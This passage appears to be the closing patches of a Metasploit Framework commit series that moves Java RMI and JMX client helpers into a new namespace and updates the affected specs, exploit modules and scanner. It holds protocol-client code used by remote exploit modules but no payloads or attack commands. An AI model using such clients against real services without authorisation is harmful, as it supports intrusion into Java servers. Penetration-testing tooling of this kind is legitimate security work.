else - return nil + if stream.contents[id] + new_object = stream.contents[id] + else + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + return nil + end + + new_object.class_desc.description.class_name.contents end - unless new_object.class == Rex::Java::Serialization::Model::NewObject - return nil + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } end - new_object.class_desc.description.class_name.contents end - - # Extracts an string from an IO - # - # @param io [IO] the io to extract the string from - # @return [String, nil] the extracted string if success, nil otherwise - def extract_string(io) - raw_length = io.read(2) - unless raw_length && raw_length.length == 2 - return nil - end - length = raw_length.unpack('n')[0] - - string = io.read(length) - unless string && string.length == length - return nil - end - - string - end - - # Extracts an int from an IO - # - # @param io [IO] the io to extract the int from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_int(io) - int_raw = io.read(4) - unless int_raw && int_raw.length == 4 - return nil - end - int = int_raw.unpack('N')[0] - - int - end - - # Extracts an UnicastRef (endpoint) information from an IO - # - # @param io [IO] the io to extract the int from - # @return [Hash, nil] the extracted int if success, nil otherwise - def extract_unicast_ref(io) - ref = extract_string(io) - unless ref && ref == 'UnicastRef' - return nil - end - - address = extract_string(io) - return nil unless address - - port = extract_int(io) - return nil unless port - - id = io.read - - { address: address, port: port, id: id } - end - end end end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index c99c371e0b..7b522a1ff1 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -4,132 +4,134 @@ require 'rex/java/serialization' require 'stringio' module Msf - module Rmi - module Client + module Java + module Rmi + module Client - require 'msf/rmi/client/streams' + require 'msf/java/rmi/client/streams' - include Msf::Rmi::Client::Streams - include Exploit::Remote::Tcp + include Msf::Java::Rmi::Client::Streams + include Exploit::Remote::Tcp - # Returns the target host - # - # @return [String] - def rhost - datastore['RHOST'] - end - - # Returns the target port - # - # @return [Fixnum] - def rport - datastore['RPORT'] - end - - # Returns the RMI server peer - # - # @return [String] - def peer - "#{rhost}:#{rport}" - end - - # Sends a RMI header stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_header - def send_header(opts = {}) - nsock = opts[:sock] || sock - stream = build_header(opts) - nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") - end - - # Sends a RMI CALL stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_call - def send_call(opts = {}) - nsock = opts[:sock] || sock - stream = build_call(opts) - nsock.put(stream.encode) - end - - # Sends a RMI DGCACK stream - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Fixnum] the number of bytes sent - # @see Msf::Rmi::Client::Streams#build_dgc_ack - def send_dgc_ack(opts = {}) - nsock = opts[:sock] || sock - stream = build_dgc_ack(opts) - nsock.put(stream.encode) - end - - # Reads the Protocol Ack - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ProtocolAck] - # @see Rex::Proto::Rmi::Model::ProtocolAck.decode - def recv_protocol_ack(opts = {}) - nsock = opts[:sock] || sock - data = safe_get_once(nsock) - begin - ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) - rescue ::RuntimeError - return nil + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] end - ack - end - - # Reads a ReturnData message and returns the java serialized stream - # with the return data value. - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Java::Serialization::Stream] - # @see Rex::Proto::Rmi::Model::ReturnData.decode - def recv_return(opts = {}) - nsock = opts[:sock] || sock - data = safe_get_once(nsock) - begin - return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue ::RuntimeError - return nil + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] end - return_data.return_value - end - - # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [String] - def safe_get_once(nsock = sock) - data = '' - begin - res = nsock.get_once - rescue ::EOFError - res = nil + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" end - until res.nil? || res.length < 1448 - data << res + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [String] + def safe_get_once(nsock = sock) + data = '' begin res = nsock.get_once rescue ::EOFError res = nil end - end - data << res if res - data + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end end end end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb index 0b5122e1c1..215e4b0a8e 100644 --- a/lib/msf/java/rmi/client/streams.rb +++ b/lib/msf/java/rmi/client/streams.rb @@ -3,64 +3,66 @@ require 'rex/java/serialization' module Msf - module Rmi - module Client - module Streams + module Java + module Rmi + module Client + module Streams - # Builds a RMI header stream - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :signature - # @option opts [Fixnum] :version - # @option opts [Fixnum] :protocol - # @return [Rex::Proto::Rmi::Model::OutputHeader] - def build_header(opts = {}) - signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE - version = opts[:version] || 2 - protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL - header = Rex::Proto::Rmi::Model::OutputHeader.new( - signature: signature, - version: version, - protocol: protocol) + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) - header - end + header + end - # Builds a RMI call stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :message_id - # @option opts [Rex::Java::Serialization::Model::Stream] :call_data - # @return [Rex::Proto::Rmi::Model::Call] - def build_call(opts = {}) - message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE - call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new - call = Rex::Proto::Rmi::Model::Call.new( - message_id: message_id, - call_data: call_data - ) + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) - call - end + call + end - # Builds a RMI dgc ack stream - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :stream_id - # @option opts [String] :unique_identifier - # @return [Rex::Proto::Rmi::Model::DgcAck] - def build_dgc_ack(opts = {}) - stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE - unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( - stream_id: stream_id, - unique_identifier: unique_identifier - ) + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) - dgc_ack + dgc_ack + end end end end From 6e635211b3b3699aea9d1a7069befcf60e908ceb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 10:59:56 -0600 Subject: [PATCH 099/103] Modify include --- lib/msf/java/jmx/mbean.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb index a0227cb528..0956316b32 100644 --- a/lib/msf/java/jmx/mbean.rb +++ b/lib/msf/java/jmx/mbean.rb @@ -6,7 +6,7 @@ module Msf module Mbean require 'msf/java/jmx/mbean/server_connection' - include Msf::Jmx::Mbean::ServerConnection + include Msf::Java::Jmx::Mbean::ServerConnection end end end From 29c68ef1ec2b8a8b20d121be953057a63432c4dd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 11:55:14 -0600 Subject: [PATCH 100/103] End fixing namespaces --- lib/msf/java/jmx.rb | 54 ++++++++++--------- .../exploits/multi/misc/java_jmx_server.rb | 4 +- .../exploits/multi/misc/java_rmi_server.rb | 2 +- 3 files changed, 31 insertions(+), 29 deletions(-) diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb index 269747b906..0c796daf2d 100644 --- a/lib/msf/java/jmx.rb +++ b/lib/msf/java/jmx.rb @@ -3,35 +3,37 @@ require 'rex/java/serialization' module Msf - module Jmx - require 'msf/java/jmx/util' - require 'msf/java/jmx/discovery' - require 'msf/java/jmx/handshake' - require 'msf/java/jmx/mbean' + module Java + module Jmx + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' - include Msf::Java::Jmx::Util - include Msf::Java::Jmx::Discovery - include Msf::Java::Jmx::Handshake - include Msf::Java::Jmx::Mbean + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean - def initialize(info = {}) - super + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end - register_options( - [ - Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), - Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) - ], HTTP::Wordpress - ) end - - def jmx_role - datastore['JMX_ROLE'] - end - - def jmx_password - datastore['JMX_PASSWORD'] - end - end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 5c2085eff0..0e96e0af72 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -8,9 +8,9 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Jmx + include Msf::Java::Jmx include Msf::Exploit::Remote::HttpServer - include Msf::Rmi::Client + include Msf::Java::Rmi::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index e49b00dc25..53697867d1 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Rmi::Client + include Msf::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) From 8222dc93022355ca355f2528468489171c261bb9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 11:57:09 -0600 Subject: [PATCH 101/103] Reorganize specs --- spec/lib/msf/{ => java}/jmx/discovery_spec.rb | 0 spec/lib/msf/{ => java}/jmx/handshake_spec.rb | 0 spec/lib/msf/{ => java}/jmx/mbean/server_connection_spec.rb | 0 spec/lib/msf/{ => java}/jmx/util_spec.rb | 0 spec/lib/msf/{ => java}/rmi/client/streams_spec.rb | 0 spec/lib/msf/{ => java}/rmi/client_spec.rb | 0 6 files changed, 0 insertions(+), 0 deletions(-) rename spec/lib/msf/{ => java}/jmx/discovery_spec.rb (100%) rename spec/lib/msf/{ => java}/jmx/handshake_spec.rb (100%) rename spec/lib/msf/{ => java}/jmx/mbean/server_connection_spec.rb (100%) rename spec/lib/msf/{ => java}/jmx/util_spec.rb (100%) rename spec/lib/msf/{ => java}/rmi/client/streams_spec.rb (100%) rename spec/lib/msf/{ => java}/rmi/client_spec.rb (100%) diff --git a/spec/lib/msf/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb similarity index 100% rename from spec/lib/msf/jmx/discovery_spec.rb rename to spec/lib/msf/java/jmx/discovery_spec.rb diff --git a/spec/lib/msf/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb similarity index 100% rename from spec/lib/msf/jmx/handshake_spec.rb rename to spec/lib/msf/java/jmx/handshake_spec.rb diff --git a/spec/lib/msf/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb similarity index 100% rename from spec/lib/msf/jmx/mbean/server_connection_spec.rb rename to spec/lib/msf/java/jmx/mbean/server_connection_spec.rb diff --git a/spec/lib/msf/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb similarity index 100% rename from spec/lib/msf/jmx/util_spec.rb rename to spec/lib/msf/java/jmx/util_spec.rb diff --git a/spec/lib/msf/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb similarity index 100% rename from spec/lib/msf/rmi/client/streams_spec.rb rename to spec/lib/msf/java/rmi/client/streams_spec.rb diff --git a/spec/lib/msf/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb similarity index 100% rename from spec/lib/msf/rmi/client_spec.rb rename to spec/lib/msf/java/rmi/client_spec.rb From b8f614ef59b9327b699737566acef71b7a18d538 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 12:00:04 -0600 Subject: [PATCH 102/103] Fix namespaces in specs --- spec/lib/msf/java/jmx/discovery_spec.rb | 6 +++--- spec/lib/msf/java/jmx/handshake_spec.rb | 6 +++--- spec/lib/msf/java/jmx/mbean/server_connection_spec.rb | 6 +++--- spec/lib/msf/java/jmx/util_spec.rb | 6 +++--- spec/lib/msf/java/rmi/client/streams_spec.rb | 6 +++--- spec/lib/msf/java/rmi/client_spec.rb | 6 +++--- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb index 65f2a7b2aa..c5f02ef22a 100644 --- a/spec/lib/msf/java/jmx/discovery_spec.rb +++ b/spec/lib/msf/java/jmx/discovery_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/java' -require 'msf/jmx' +require 'msf/java/jmx' -describe Msf::Jmx::Discovery do +describe Msf::Java::Jmx::Discovery do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Jmx + mod.extend ::Msf::Java::Jmx mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb index c4f279873e..7c6d3d9ebe 100644 --- a/spec/lib/msf/java/jmx/handshake_spec.rb +++ b/spec/lib/msf/java/jmx/handshake_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'stringio' require 'rex/java' -require 'msf/jmx' +require 'msf/java/jmx' -describe Msf::Jmx::Handshake do +describe Msf::Java::Jmx::Handshake do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Jmx + mod.extend ::Msf::Java::Jmx mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb index 6d8d2f0a63..a8b34d697d 100644 --- a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb +++ b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/java' -require 'msf/jmx' +require 'msf/java/jmx' -describe Msf::Jmx::Mbean::ServerConnection do +describe Msf::Java::Jmx::Mbean::ServerConnection do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Jmx + mod.extend ::Msf::Java::Jmx mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb index 652836bec7..97b3f7abfc 100644 --- a/spec/lib/msf/java/jmx/util_spec.rb +++ b/spec/lib/msf/java/jmx/util_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'stringio' require 'rex/java' -require 'msf/jmx' +require 'msf/java/jmx' -describe Msf::Jmx::Util do +describe Msf::Java::Jmx::Util do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Jmx + mod.extend ::Msf::Java::Jmx mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb index bdbd930946..0f92c1952b 100644 --- a/spec/lib/msf/java/rmi/client/streams_spec.rb +++ b/spec/lib/msf/java/rmi/client/streams_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/rmi/client' +require 'msf/java/rmi/client' -describe Msf::Rmi::Client::Streams do +describe Msf::Java::Rmi::Client::Streams do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Rmi::Client + mod.extend ::Msf::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb index 37dfca78d3..72665d3a66 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/rmi/client' +require 'msf/java/rmi/client' class RmiStringIO < StringIO @@ -16,10 +16,10 @@ class RmiStringIO < StringIO end end -describe Msf::Rmi::Client do +describe Msf::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Rmi::Client + mod.extend ::Msf::Java::Rmi::Client mod.send(:initialize) mod end From b07ef333e9e291a574ace1fb1946fe7701d0ca8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 10 Feb 2015 12:52:19 -0600 Subject: [PATCH 103/103] Fix java_rmi_server include --- modules/auxiliary/scanner/misc/java_rmi_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index c6b2a5f398..7412806b60 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Rmi::Client + include Msf::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report